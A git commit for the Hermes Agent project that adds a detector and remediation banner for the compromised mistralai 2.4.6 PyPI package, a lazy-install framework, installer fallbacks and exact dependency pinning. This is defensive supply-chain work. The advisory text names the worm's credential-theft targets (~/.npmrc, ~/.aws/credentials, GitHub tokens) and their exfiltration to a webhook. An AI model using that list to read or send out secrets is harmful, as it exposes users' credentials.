feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback (#24220)

* feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback

Three coordinated mitigations for the Mini Shai-Hulud worm hitting
mistralai 2.4.6 on PyPI (2026-05-12) and for the next single-package
compromise that follows.

# What this PR makes true

1. Users with the poisoned mistralai 2.4.6 in their venv get a loud
   detection banner with copy-pasteable remediation steps the moment
   they run hermes (and on every gateway startup).
2. One quarantined / yanked PyPI package can no longer silently demote
   a fresh install to 'core only' — the installer keeps every other
   extra and tells the user which tier landed.
3. Future opt-in backends (Mistral, ElevenLabs, Honcho, etc.) can
   lazy-install on first use under a strict allowlist, instead of
   eagerly pulling everything at install time.

# Detection: hermes_cli/security_advisories.py

- ADVISORIES catalog (one entry currently: shai-hulud-2026-05 for
  mistralai==2.4.6). Adding the next one is a single dataclass.
- detect_compromised() uses importlib.metadata.version() — no pip
  dependency, works in uv venvs that lack pip.
- Banner cache (~/.hermes/cache/advisory_banner_seen) rate-limits
  the startup banner to once per 24h per advisory.
- Acks persisted to security.acked_advisories in config.yaml; never
  re-banner after ack.
- Wired into:
  * hermes doctor — runs first, prints full remediation block
  * hermes doctor --ack <id> — dismisses an advisory
  * cli.py interactive run() and single-query branches — short
    stderr banner pointing at hermes doctor
  * gateway/run.py startup — operator-visible warning in gateway.log

# Lazy-install framework: tools/lazy_deps.py

- LAZY_DEPS allowlist maps namespaced feature keys (tts.elevenlabs,
  memory.honcho, provider.bedrock, etc.) to pip specs.
- ensure(feature) installs missing deps in the active venv via the
  uv → pip → ensurepip ladder (matches tools_config._pip_install).
- Strict spec safety regex rejects URLs, file paths, shell metas,
  pip flag injection, control chars — only PyPI-by-name accepted.
- Gated on security.allow_lazy_installs (default true) plus the
  HERMES_DISABLE_LAZY_INSTALLS env var for restricted/audited envs.
- Migrated three backends as proof of pattern:
  * tools/tts_tool.py — _import_elevenlabs() calls ensure first
  * plugins/memory/honcho/client.py — get_honcho_client lazy-installs
  * tts.mistral / stt.mistral entries pre-registered for when PyPI
    restores mistralai

# Installer fallback tiers

scripts/install.sh, scripts/install.ps1, setup-hermes.sh:

- Centralised _BROKEN_EXTRAS list (currently: mistral). Edit one
  array when a transitive breaks; users keep every other extra.
- New 'all minus known-broken' tier between [all] and the existing
  PyPI-only-extras tier. Only kicks in when [all] fails resolve.
- All three tiers explicit: every fallback announces which tier
  landed and prints a re-run hint when not on Tier 1.
- install.ps1 and install.sh both regenerate their tier specs from
  the same _BROKEN_EXTRAS array so updates stay in sync.

Side effect: install.ps1 Tier 2 spec previously hardcoded 'mistral'
in its extra list — bug fixed by the refactor (mistral is filtered
out).

# Config

hermes_cli/config.py — DEFAULT_CONFIG.security gains:
- acked_advisories: []  (advisory IDs the user has dismissed)
- allow_lazy_installs: True  (security gate for ensure())

No config version bump needed — both keys nest under existing
security: block, and load_config's deep-merge picks up DEFAULT_CONFIG
defaults for users with older configs.

# Tests

tests/hermes_cli/test_security_advisories.py — 23 tests covering:
- detect_compromised matches/non-matches, wildcard frozenset
- ack persistence, idempotence, blank rejection, config-failure path
- banner cache rate limiting + 24h re-banner + ack-stops-banner
- short_banner_lines / full_remediation_text / render_doctor_section /
  gateway_log_message
- shipped catalog well-formedness invariant

tests/tools/test_lazy_deps.py — 40 tests covering:
- spec safety: 11 safe parametrized + 18 unsafe parametrized
- allowlist: unknown-feature rejection, namespace.name shape,
  every shipped spec passes the safety regex
- security gating: config flag, env var, default, fail-open
- ensure() happy/sad paths: already-satisfied, install success,
  pip stderr surfaced on failure, install-succeeds-but-still-missing
- is_available, feature_install_command

Combined: 63 new tests, all passing under scripts/run_tests.sh.

# Validation

- scripts/run_tests.sh tests/hermes_cli/test_security_advisories.py
  tests/tools/test_lazy_deps.py → 63/63 passing
- scripts/run_tests.sh tests/hermes_cli/test_doctor.py
  tests/hermes_cli/test_doctor_command_install.py
  tests/tools/test_tts_mistral.py tests/tools/test_transcription_tools.py
  tests/tools/test_transcription_dotenv_fallback.py → 165/165 passing
- scripts/run_tests.sh tests/hermes_cli/ tests/tools/ →
  9191 passed, 8 pre-existing failures (verified on origin/main
  before this change)
- bash -n on install.sh and setup-hermes.sh → OK
- py_compile on all modified .py files → OK
- End-to-end smoke test of detect_compromised + render_doctor_section
  + gateway_log_message with mocked installed version → produces
  copy-pasteable remediation output

# Community

Full advisory + remediation steps:
website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md

Short-form post drafts (Discord, GitHub pinned issue, README banner):
scripts/community-announcement-shai-hulud.md

Refs: PR #24205 (mistral disabled), Socket Security advisory
<https://socket.dev/blog/mini-shai-hulud-worm-pypi>

* build(deps): pin every direct dep to ==X.Y.Z (no ranges)

Companion to the supply-chain advisory work: replace every >=/</~= range
in pyproject.toml's [project.dependencies] and [project.optional-dependencies]
with an exact ==X.Y.Z pin sourced from uv.lock.

Why: ranges allow PyPI to ship a fresh version of any direct dep at any
time without a code review on our side. With ranges, the malicious
mistralai 2.4.6 release would have been pulled by every fresh
'pip install -e .[all]' for the hours between upload and PyPI's
quarantine — exactly the install window we got hit on. Exact pins close
that window: the only way a new package version reaches a user is via
an intentional update on our end.

What the user-facing change is: nothing, behavior-wise. Every package
resolves to the same version it was already resolving to via uv.lock —
the pins just remove the resolver's freedom to pick a different one.

Cost: any user installing Hermes alongside another package that requires
a newer pin gets a resolver conflict. Acceptable for our isolated-venv
install path; documented in the new comment block.

Build-system requires line (setuptools>=61.0) is intentionally left
as a range — pinning the build backend would block fresh pip from
bootstrapping the build on architectures where that exact wheel isn't
available.

mistral extra (mistralai==2.3.0) is pinned but stays out of [all]
(per PR #24205). 'uv lock' regeneration will fail until PyPI restores
mistralai; lockfile regeneration is gated behind that, NOT on every PR.

LAZY_DEPS in tools/lazy_deps.py also moved to exact pins so the lazy-
install pathway can never resolve a different version than the one
declared in pyproject.toml.

Validation:

- Cross-checked all 77 pinned direct deps in pyproject.toml against
  uv.lock — every pin matches the resolved version exactly.
- Cross-checked all LAZY_DEPS specs against uv.lock — same.
- 'uv pip install -e .[all] --dry-run' resolves 205 packages cleanly.
- tests/tools/test_lazy_deps.py + tests/hermes_cli/test_security_advisories.py
  → 63/63 passing (every shipped spec passes the safety regex).
- Doctor + TTS + transcription targeted suite → 146/146 passing.

* build(deps): hash-verify transitives via uv.lock; remove unresolvable [mistral] extra

You asked: 'what about the dependencies the dependencies rely on?' —
correctly noting that exact-pinning direct deps in pyproject.toml does
NOT cover the transitive graph. `pip install` and `uv pip install` both
re-resolve transitives fresh from PyPI at install time, so a compromised
transitive (e.g. `httpcore` if it got worm-poisoned tomorrow) would
still hit our users even with every direct dep exact-pinned.

# What this commit fixes

1. **Both real installer scripts now prefer `uv sync --locked` as Tier 0.**
   uv.lock records SHA256 hashes for every transitive — a compromised
   package with a different hash gets REJECTED. Falls through to the
   existing `uv pip install` cascade if the lockfile is missing or
   stale, with a loud warning that the fallback path does NOT
   hash-verify transitives. Previously only `setup-hermes.sh` (the dev
   path) used the lockfile; `scripts/install.sh` and `scripts/install.ps1`
   (the paths fresh users actually run) skipped it.

2. **Removed the `[mistral]` extra entirely.** The `mistralai` PyPI
   project is fully quarantined right now — every version returns 404,
   so any pin we wrote was unresolvable, which broke `uv lock --check`
   in CI. Restoration is documented in pyproject.toml as a 5-step
   checklist (verify, re-add extra, re-enable in 4 modules, regenerate
   lock, optionally re-add to [all]).

3. **Regenerated uv.lock.** 262 packages, mistralai/eval-type-backport/
   jsonpath-python pruned. `uv lock --check` now passes.

# Defense-in-depth view

| Layer                      | Where             | Protects against                          |
|----------------------------|-------------------|-------------------------------------------|
| Exact pins in pyproject    | direct deps       | new mistralai 2.4.6-style direct compromise |
| uv.lock + `--locked` install | transitive graph  | transitive worm injection                  |
| Tier-0 hash-verified path  | install.sh / .ps1 | actually USE the lockfile in fresh installs |
| `uv lock --check` CI gate  | every PR          | drift between pyproject and lockfile      |
| `hermes_cli/security_advisories.py` | runtime  | cleanup for users who already got hit      |

The exact pinning + hash verification together close the supply-chain
gap. Without the lockfile path, exact pins alone are theater.

# Validation

- `uv lock --check` → passes (262 packages resolved, no drift).
- `bash -n` on install.sh + setup-hermes.sh → OK.
- 209/209 tests passing across new + adjacent test files
  (test_lazy_deps.py, test_security_advisories.py, test_doctor.py,
  test_tts_mistral.py, test_transcription_tools.py).
- TOML parse OK.

* chore: remove community announcement drafts (PR body covers it)

* build(deps): lazy-install every opt-in backend (anthropic, search, terminal, platforms, dashboard)

Extends the lazy-install framework to cover everything that's not used by
every hermes session. Base install drops from ~60 packages to 45.

Moved out of core dependencies = []:
- anthropic   (only when provider=anthropic native, not via aggregators)
- exa-py, firecrawl-py, parallel-web (search backends; only when picked)
- fal-client  (image gen; only when picked)
- edge-tts    (default TTS but still optional)

New extras in pyproject.toml: [anthropic] [exa] [firecrawl] [parallel-web]
[fal] [edge-tts]. All added to [all].

New LAZY_DEPS entries: provider.anthropic, search.{exa,firecrawl,parallel},
tts.edge, image.fal, memory.hindsight, platform.{telegram,discord,matrix},
terminal.{modal,daytona,vercel}, tool.dashboard.

Each import site now calls ensure() before importing the SDK. Where the
module had a top-level try/except (telegram, discord, fastapi), the
graceful-fallback pattern was extended to lazy-install on first
check_*_requirements() call and re-bind module globals.

Updated test_windows_native_support.py tzdata check from snapshot
(>=2023.3 literal) to invariant (any version + win32 marker).

Validation:
- Base install: 45 packages (was ~60); 6 newly-extracted packages absent
- uv lock --check: passes (262 packages, no drift)
- 209/209 lazy_deps + advisory + doctor + tts/transcription tests passing
- py_compile clean on all 12 modified modules
This commit is contained in:
Teknium 2026-05-12 01:02:25 -07:00 committed by GitHub
parent 99ad2d1372
commit c1eb2dcda7
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
28 changed files with 2433 additions and 243 deletions

View file

@ -35,6 +35,14 @@ def _get_anthropic_sdk():
"""Return the ``anthropic`` SDK module, importing lazily. None if not installed."""
global _anthropic_sdk
if _anthropic_sdk is ...:
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("provider.anthropic", prompt=False)
except ImportError:
pass
except Exception:
# FeatureUnavailable — fall through to ImportError handling below
pass
try:
import anthropic as _sdk
_anthropic_sdk = _sdk

38
cli.py
View file

@ -4214,12 +4214,34 @@ class HermesCLI:
ChatConsole().print(f"[bold red]Failed to initialize agent: {e}[/]")
return False
def _show_security_advisories(self):
"""Show a startup banner if any unacked security advisories match.
Renders a single bold-red box on stderr (so piped stdout remains
clean) listing the worst hit and pointing at ``hermes doctor``.
Banner-cache rate-limits this to once per 24h per advisory; full
remediation lives behind ``hermes doctor`` so the banner stays
small.
"""
try:
from hermes_cli.security_advisories import (
detect_compromised,
startup_banner,
)
hits = detect_compromised()
banner = startup_banner(hits)
if banner:
# Print to stderr — keeps stdout clean for piped automation,
# and Rich's banner rendering already wrote to stdout above.
print(banner, file=sys.stderr, flush=True)
except Exception:
# Never let the security banner block startup. Failures are
# logged at DEBUG by the advisory module.
pass
def show_banner(self):
"""Display the welcome banner in Claude Code style."""
self.console.clear()
# Get context length for display before branching so it remains
# available to the low-context warning logic in compact mode too.
ctx_len = None
if hasattr(self, 'agent') and self.agent and hasattr(self.agent, 'context_compressor'):
ctx_len = self.agent.context_compressor.context_length
@ -11016,10 +11038,9 @@ class HermesCLI:
pass
self.show_banner()
# One-line Honcho session indicator (TTY-only, not captured by agent).
# Only show when the user explicitly configured Honcho for Hermes
# (not auto-enabled from a stray HONCHO_API_KEY env var).
# Surface any active supply-chain security advisories right after the
# welcome banner. Quiet/single-query paths call this themselves.
self._show_security_advisories()
# If resuming a session, load history and display it immediately
# so the user has context before typing their first message.
if self._resumed:
@ -13528,6 +13549,9 @@ def main(
_query_label = query or ("[image attached]" if single_query_images else "")
if _query_label:
cli.console.print(f"[bold blue]Query:[/] {_query_label}")
# Surface security advisories before the agent runs — short
# banner, doesn't depend on the welcome banner being shown.
cli._show_security_advisories()
cli.chat(query, images=single_query_images or None)
cli._print_exit_summary()
return

View file

@ -86,8 +86,32 @@ def _clean_discord_id(entry: str) -> str:
def check_discord_requirements() -> bool:
"""Check if Discord dependencies are available."""
return DISCORD_AVAILABLE
"""Check if Discord dependencies are available.
Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")``
on first call if not present. After successful install, re-binds module
globals so ``DISCORD_AVAILABLE`` becomes True.
"""
global DISCORD_AVAILABLE, discord, DiscordMessage, Intents, commands
if DISCORD_AVAILABLE:
return True
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("platform.discord", prompt=False)
except Exception:
return False
try:
import discord as _discord
from discord import Message as _DM, Intents as _Intents
from discord.ext import commands as _commands
except ImportError:
return False
discord = _discord
DiscordMessage = _DM
Intents = _Intents
commands = _commands
DISCORD_AVAILABLE = True
return True
def _build_allowed_mentions():

View file

@ -103,8 +103,58 @@ _TELEGRAM_IMAGE_EXT_TO_MIME = {
def check_telegram_requirements() -> bool:
"""Check if Telegram dependencies are available."""
return TELEGRAM_AVAILABLE
"""Check if Telegram dependencies are available.
If python-telegram-bot is missing, attempts to lazy-install it via
``tools.lazy_deps.ensure("platform.telegram")``. After a successful
install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True
so the adapter's class-level type aliases get rebound.
"""
global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton
global InlineKeyboardMarkup, LinkPreviewOptions, Application
global CommandHandler, CallbackQueryHandler, TelegramMessageHandler
global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest
if TELEGRAM_AVAILABLE:
return True
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("platform.telegram", prompt=False)
except Exception:
return False
try:
from telegram import Update as _Update, Bot as _Bot, Message as _Message
from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM
try:
from telegram import LinkPreviewOptions as _LPO
except ImportError:
_LPO = None
from telegram.ext import (
Application as _App, CommandHandler as _CH,
CallbackQueryHandler as _CQH,
MessageHandler as _MH,
ContextTypes as _CT, filters as _filters,
)
from telegram.constants import ParseMode as _PM, ChatType as _CtT
from telegram.request import HTTPXRequest as _HR
except ImportError:
return False
Update = _Update
Bot = _Bot
Message = _Message
InlineKeyboardButton = _IKB
InlineKeyboardMarkup = _IKM
LinkPreviewOptions = _LPO
Application = _App
CommandHandler = _CH
CallbackQueryHandler = _CQH
TelegramMessageHandler = _MH
ContextTypes = _CT
filters = _filters
ParseMode = _PM
ChatType = _CtT
HTTPXRequest = _HR
TELEGRAM_AVAILABLE = True
return True
# Matches every character that MarkdownV2 requires to be backslash-escaped

View file

@ -3275,6 +3275,30 @@ class GatewayRunner:
write_runtime_status(gateway_state="starting", exit_reason=None)
except Exception:
pass
# Log any active supply-chain security advisories. Operators see this
# in gateway.log and `hermes status` surfaces it; we do NOT block
# startup or surface it inline to user messages, since the gateway
# operator is the one who can act on it (uninstall the package,
# rotate credentials). See hermes_cli/security_advisories.py.
try:
from hermes_cli.security_advisories import (
detect_compromised,
gateway_log_message,
)
_adv_hits = detect_compromised()
_adv_msg = gateway_log_message(_adv_hits)
if _adv_msg:
logger.warning("%s", _adv_msg)
logger.warning(
"Run `hermes doctor` on the gateway host for full "
"remediation steps."
)
except Exception:
logger.debug(
"security advisory check failed at gateway startup",
exc_info=True,
)
# Warn if no user allowlists are configured and open access is not opted in
_builtin_allowed_vars = (

View file

@ -1332,6 +1332,21 @@ DEFAULT_CONFIG = {
"domains": [],
"shared_files": [],
},
# Acknowledged supply-chain security advisories. Each entry is the
# ID of an advisory the user has read and acted on (uninstalled the
# compromised package, rotated credentials). Acked advisories no
# longer trigger the startup banner. Add via `hermes doctor --ack
# <id>`; remove by editing the list directly. See
# ``hermes_cli/security_advisories.py`` for the catalog.
"acked_advisories": [],
# Allow Hermes to lazy-install opt-in backend packages from PyPI
# the first time the user enables a backend that needs them
# (e.g. installing ``elevenlabs`` when the user picks ElevenLabs as
# their TTS provider). Set to false to require explicit
# ``pip install`` for everything beyond the base set — appropriate
# for restricted networks, audited environments, or air-gapped
# systems where any runtime install is unacceptable.
"allow_lazy_installs": True,
},
"cron": {

View file

@ -296,19 +296,101 @@ def _build_apikey_providers_list() -> list:
def run_doctor(args):
"""Run diagnostic checks."""
should_fix = getattr(args, 'fix', False)
ack_target = getattr(args, 'ack', None)
# Doctor runs from the interactive CLI, so CLI-gated tool availability
# checks (like cronjob management) should see the same context as `hermes`.
os.environ.setdefault("HERMES_INTERACTIVE", "1")
# Handle `hermes doctor --ack <id>` as a fast path. Persist the ack and
# return without running the rest of the diagnostics — the user has
# already seen the advisory and just wants to silence it.
if ack_target:
from hermes_cli.security_advisories import (
ADVISORIES,
ack_advisory,
)
valid_ids = {a.id for a in ADVISORIES}
if ack_target not in valid_ids:
print(color(
f"Unknown advisory ID: {ack_target!r}. Known IDs: "
f"{', '.join(sorted(valid_ids)) or '(none)'}",
Colors.RED,
))
sys.exit(2)
if ack_advisory(ack_target):
print(color(
f" ✓ Acknowledged advisory {ack_target}. "
f"It will no longer trigger startup banners.",
Colors.GREEN,
))
else:
print(color(
f" ✗ Failed to persist ack for {ack_target}. "
f"Check ~/.hermes/config.yaml is writable.",
Colors.RED,
))
sys.exit(1)
return
issues = []
manual_issues = [] # issues that can't be auto-fixed
fixed_count = 0
print()
print(color("┌─────────────────────────────────────────────────────────┐", Colors.CYAN))
print(color("│ 🩺 Hermes Doctor │", Colors.CYAN))
print(color("└─────────────────────────────────────────────────────────┘", Colors.CYAN))
# =========================================================================
# Check: Security advisories (RUNS FIRST — these are the most urgent)
# =========================================================================
print()
print(color("◆ Security Advisories", Colors.CYAN, Colors.BOLD))
try:
from hermes_cli.security_advisories import (
detect_compromised,
filter_unacked,
full_remediation_text,
get_acked_ids,
)
all_hits = detect_compromised()
fresh_hits = filter_unacked(all_hits)
if fresh_hits:
for hit in fresh_hits:
check_fail(
f"{hit.advisory.title}",
f"({hit.package}=={hit.installed_version})",
)
# Print the full remediation block, indented under the
# check_fail header so it reads as a single section.
for line in full_remediation_text(hit):
if line:
print(f" {color(line, Colors.YELLOW)}")
else:
print()
# Funnel into the action list so the summary block surfaces it
# for users who scroll past the section.
manual_issues.append(
f"Resolve security advisory {hit.advisory.id}: "
f"uninstall {hit.package}=={hit.installed_version} and "
f"rotate credentials, then run "
f"`hermes doctor --ack {hit.advisory.id}`."
)
# Acked-but-still-installed: show as informational so the user
# knows the package is still on disk after the ack.
acked_ids = get_acked_ids()
for h in all_hits:
if h.advisory.id in acked_ids:
check_warn(
f"{h.package}=={h.installed_version} still installed "
f"(advisory {h.advisory.id} acknowledged)",
)
else:
check_ok("No active security advisories")
except Exception as e:
# Never let a bug in the advisory check block the rest of doctor.
check_warn(f"Security advisory check failed: {e}")
# =========================================================================
# Check: Python version

View file

@ -10086,6 +10086,16 @@ def main():
doctor_parser.add_argument(
"--fix", action="store_true", help="Attempt to fix issues automatically"
)
doctor_parser.add_argument(
"--ack",
metavar="ADVISORY_ID",
default=None,
help=(
"Acknowledge a security advisory by ID and exit. After ack, the "
"advisory will no longer trigger startup banners. Run `hermes "
"doctor` first to see active advisories and their IDs."
),
)
doctor_parser.set_defaults(func=cmd_doctor)
# =========================================================================

View file

@ -0,0 +1,451 @@
"""
Security advisory checker for Hermes Agent.
Detects known-compromised Python packages installed in the active venv
(supply-chain attacks like the Mini Shai-Hulud worm of May 2026 that
poisoned ``mistralai 2.4.6`` on PyPI) and surfaces remediation guidance to
the user.
Design goals:
- **Cheap.** A single ``importlib.metadata.version()`` call per advisory
package. Safe to run on every CLI startup.
- **Loud when it matters, silent otherwise.** If no compromised package is
installed, the user sees nothing.
- **Acknowledgeable.** Once the user has read and acted on an advisory they
can dismiss it via ``hermes doctor --ack <id>``; the ack is persisted to
``config.security.acked_advisories`` and survives restart.
- **Extensible.** Adding a new advisory is one entry in ``ADVISORIES``;
adding a new compromised version is a one-line edit. No code changes
needed when the next worm hits.
The check is invoked from three places:
1. ``hermes doctor`` (and ``hermes doctor --ack <id>``)
2. CLI startup banner (one short line, then full guidance via
``hermes doctor``)
3. Gateway startup (logged to gateway.log; first interactive message gets
a one-line operator banner)
This module is intentionally dependency-free beyond the stdlib so it can
run in environments where the rest of Hermes failed to import.
"""
from __future__ import annotations
import logging
import os
import sys
from dataclasses import dataclass, field
from pathlib import Path
from typing import Iterable, Optional
logger = logging.getLogger(__name__)
# =============================================================================
# Advisory catalog
#
# Each advisory is a community-facing security warning about one or more
# specific package versions that are known to be compromised. To add a new
# advisory:
#
# 1. Append a new ``Advisory`` to ``ADVISORIES`` below
# 2. Set ``compromised`` to a tuple of ``(pkg_name, frozenset_of_versions)``
# — version strings must match what ``importlib.metadata.version()``
# returns. Use an empty frozenset to flag *any installed version*
# (rare; only when the maintainer namespace itself is compromised).
# 3. Write 2-4 short ``remediation`` lines a non-expert can copy/paste.
#
# Do NOT remove old advisories. Once an advisory ships, leave it in place so
# users running an older release with the compromised package still get
# warned. Mark superseded ones via ``superseded_by`` if needed.
# =============================================================================
@dataclass(frozen=True)
class Advisory:
"""One security advisory entry.
Attributes:
id: stable identifier used for acks (e.g. ``shai-hulud-2026-05``).
Lowercase-hyphen, never reused.
title: one-line headline shown in banners.
summary: 1-3 sentence description of what was compromised and how.
url: reference URL (Socket advisory, GitHub advisory, PyPI page).
compromised: tuple of ``(package_name, frozenset_of_versions)``
pairs. Empty frozenset means "any version of this package is
considered suspect" — use sparingly.
remediation: ordered list of steps the user should take. First step
should be the uninstall command; subsequent steps the credential
audit / rotation guidance.
published: ISO date string for sort order.
"""
id: str
title: str
summary: str
url: str
compromised: tuple[tuple[str, frozenset[str]], ...]
remediation: tuple[str, ...]
published: str = ""
severity: str = "high" # low / medium / high / critical
ADVISORIES: tuple[Advisory, ...] = (
Advisory(
id="shai-hulud-2026-05",
title="Mini Shai-Hulud worm — mistralai 2.4.6 compromised on PyPI",
summary=(
"PyPI quarantined the mistralai package on 2026-05-12 after a "
"malicious 2.4.6 release. The worm steals credentials from "
"environment variables and credential files (~/.npmrc, ~/.pypirc, "
"~/.aws/credentials, GitHub PATs, cloud SDK tokens) and exfils "
"them to a hardcoded webhook. If you ran any Python process that "
"imported mistralai 2.4.6 — including hermes when configured "
"with provider=mistral for TTS or STT — assume those credentials "
"are exposed."
),
url="https://socket.dev/blog/mini-shai-hulud-worm-pypi",
compromised=(
("mistralai", frozenset({"2.4.6"})),
),
remediation=(
"Run: pip uninstall -y mistralai (or: uv pip uninstall mistralai)",
"Rotate API keys in ~/.hermes/.env (OpenRouter, Anthropic, OpenAI, "
"Nous, GitHub, AWS, Google, Mistral, etc.).",
"Audit ~/.npmrc, ~/.pypirc, ~/.aws/credentials, ~/.config/gh/hosts.yml, "
"and any other credential files for tokens that may have been read.",
"Check GitHub for unexpected new SSH keys, deploy keys, or webhook "
"additions on repos you have admin on.",
"After cleanup: hermes doctor --ack shai-hulud-2026-05 to dismiss "
"this warning.",
),
published="2026-05-12",
severity="critical",
),
)
# =============================================================================
# Detection
# =============================================================================
@dataclass(frozen=True)
class AdvisoryHit:
"""One package-version match against an advisory."""
advisory: Advisory
package: str
installed_version: str
def _installed_version(pkg_name: str) -> Optional[str]:
"""Return the installed version of ``pkg_name``, or None if not installed.
Uses ``importlib.metadata`` so we don't depend on pip being importable
inside the active venv (uv-created venvs may lack pip).
"""
try:
from importlib.metadata import PackageNotFoundError, version
except ImportError: # py<3.8 — Hermes requires 3.10+ but defensive.
return None
try:
return version(pkg_name)
except PackageNotFoundError:
return None
except Exception:
# Some metadata corruption modes raise ValueError or OSError. Don't
# let advisory checking crash the CLI startup path.
logger.debug("importlib.metadata.version(%s) raised", pkg_name, exc_info=True)
return None
def detect_compromised(
advisories: Iterable[Advisory] = ADVISORIES,
) -> list[AdvisoryHit]:
"""Scan installed packages and return all advisory hits.
A "hit" means an advisory's listed package is installed AND the version
is in the compromised set (or the compromised set is empty, meaning
*any* version is suspect).
"""
hits: list[AdvisoryHit] = []
for advisory in advisories:
for pkg_name, bad_versions in advisory.compromised:
installed = _installed_version(pkg_name)
if installed is None:
continue
if not bad_versions or installed in bad_versions:
hits.append(AdvisoryHit(
advisory=advisory,
package=pkg_name,
installed_version=installed,
))
return hits
# =============================================================================
# Acknowledgement persistence
#
# Acks live under ``security.acked_advisories`` in config.yaml as a list of
# advisory IDs. The list is the only state — no per-host data, no
# timestamps, no fingerprints. Users sharing a config.yaml across machines
# (rare but possible) get the same dismissal everywhere, which is the
# correct behavior for a global advisory.
# =============================================================================
def get_acked_ids() -> set[str]:
"""Return the set of advisory IDs the user has dismissed.
Returns an empty set if config can't be loaded (don't block startup
just because config is broken the advisory will keep firing until
config is repaired, which is fine).
"""
try:
from hermes_cli.config import load_config
cfg = load_config()
except Exception:
logger.debug("Could not load config for advisory acks", exc_info=True)
return set()
sec = cfg.get("security") or {}
raw = sec.get("acked_advisories") or []
if not isinstance(raw, list):
return set()
return {str(x).strip() for x in raw if str(x).strip()}
def ack_advisory(advisory_id: str) -> bool:
"""Persist an ack for ``advisory_id``. Returns True on success.
Idempotent acking an already-acked ID is a no-op.
"""
advisory_id = advisory_id.strip()
if not advisory_id:
return False
try:
from hermes_cli.config import load_config, save_config
except Exception:
logger.warning("Could not import config module to persist ack")
return False
try:
cfg = load_config()
sec = cfg.setdefault("security", {})
existing = sec.get("acked_advisories") or []
if not isinstance(existing, list):
existing = []
if advisory_id not in existing:
existing.append(advisory_id)
sec["acked_advisories"] = existing
save_config(cfg)
return True
except Exception:
logger.exception("Failed to persist advisory ack for %s", advisory_id)
return False
def filter_unacked(hits: list[AdvisoryHit]) -> list[AdvisoryHit]:
"""Return only hits whose advisories the user has not dismissed."""
if not hits:
return []
acked = get_acked_ids()
return [h for h in hits if h.advisory.id not in acked]
# =============================================================================
# Rendering helpers
# =============================================================================
def _term_supports_color() -> bool:
if os.environ.get("NO_COLOR"):
return False
if not sys.stdout.isatty():
return False
return True
def short_banner_lines(hits: list[AdvisoryHit]) -> list[str]:
"""Return 1-3 short lines suitable for a startup banner.
Caller is responsible for color/styling. Always names the worst hit
explicitly so the user knows what's wrong without running doctor.
"""
if not hits:
return []
primary = hits[0]
lines = [
f"SECURITY ADVISORY [{primary.advisory.id}]: {primary.advisory.title}",
f" Detected: {primary.package}=={primary.installed_version}",
" Run 'hermes doctor' for remediation steps.",
]
if len(hits) > 1:
lines.insert(1, f" ({len(hits) - 1} additional advisor"
f"{'ies' if len(hits) > 2 else 'y'} also active.)")
return lines
def full_remediation_text(hit: AdvisoryHit) -> list[str]:
"""Return a multi-line block describing the advisory + remediation."""
a = hit.advisory
lines = [
f"=== {a.title} ===",
f"ID: {a.id} Severity: {a.severity} Published: {a.published}",
f"Detected: {hit.package}=={hit.installed_version}",
f"Reference: {a.url}",
"",
a.summary,
"",
"Remediation:",
]
for i, step in enumerate(a.remediation, 1):
lines.append(f" {i}. {step}")
return lines
# =============================================================================
# Startup-banner gating
#
# We do NOT want to hammer the user with the banner on every command. Once
# they've seen it inside a 24h window we cache that fact in
# ``~/.hermes/cache/advisory_banner_seen`` (a single line per advisory ID:
# ``<id> <iso8601_timestamp>``).
#
# Acked advisories never re-banner. Cached-but-not-acked advisories
# re-banner after 24h so the user doesn't fully forget.
# =============================================================================
_BANNER_CACHE_FILE = "advisory_banner_seen"
_BANNER_REPEAT_HOURS = 24
def _banner_cache_path() -> Optional[Path]:
try:
from hermes_constants import get_hermes_home
cache_dir = Path(get_hermes_home()) / "cache"
cache_dir.mkdir(parents=True, exist_ok=True)
return cache_dir / _BANNER_CACHE_FILE
except Exception:
return None
def _read_banner_cache() -> dict[str, float]:
p = _banner_cache_path()
if p is None or not p.exists():
return {}
out: dict[str, float] = {}
try:
for line in p.read_text(encoding="utf-8").splitlines():
line = line.strip()
if not line:
continue
parts = line.split(None, 1)
if len(parts) != 2:
continue
advisory_id, ts = parts
try:
out[advisory_id] = float(ts)
except ValueError:
continue
except Exception:
return {}
return out
def _write_banner_cache(seen: dict[str, float]) -> None:
p = _banner_cache_path()
if p is None:
return
try:
lines = [f"{aid} {ts}" for aid, ts in seen.items()]
p.write_text("\n".join(lines) + "\n", encoding="utf-8")
except Exception:
logger.debug("Could not write advisory banner cache", exc_info=True)
def hits_due_for_banner(
hits: list[AdvisoryHit],
*,
repeat_hours: int = _BANNER_REPEAT_HOURS,
) -> list[AdvisoryHit]:
"""Return only hits whose banner is due (not acked, not recently shown).
Side effect: stamps the banner cache for any hit that's about to be
shown. Callers should subsequently render the result.
"""
import time
fresh = filter_unacked(hits)
if not fresh:
return []
now = time.time()
cache = _read_banner_cache()
cutoff = now - (repeat_hours * 3600)
due: list[AdvisoryHit] = []
for hit in fresh:
last = cache.get(hit.advisory.id, 0.0)
if last < cutoff:
due.append(hit)
cache[hit.advisory.id] = now
if due:
_write_banner_cache(cache)
return due
# =============================================================================
# Public entry points used by doctor / CLI / gateway
# =============================================================================
def render_doctor_section(hits: list[AdvisoryHit]) -> tuple[bool, list[str]]:
"""Render the security-advisory section for ``hermes doctor``.
Returns ``(has_problems, lines)``. Caller is responsible for printing
with whatever color scheme it uses.
"""
fresh = filter_unacked(hits)
if not fresh:
return False, ["No active security advisories. ✓"]
lines: list[str] = []
for i, hit in enumerate(fresh):
if i:
lines.append("")
lines.extend(full_remediation_text(hit))
return True, lines
def startup_banner(hits: list[AdvisoryHit]) -> Optional[str]:
"""Return a printable startup banner, or None if nothing is due.
Updates the banner cache as a side effect (so the next call within
24h returns None for the same hit).
"""
due = hits_due_for_banner(hits)
if not due:
return None
lines = short_banner_lines(due)
if _term_supports_color():
red = "\x1b[1;31m"
reset = "\x1b[0m"
return red + "\n".join(lines) + reset
return "\n".join(lines)
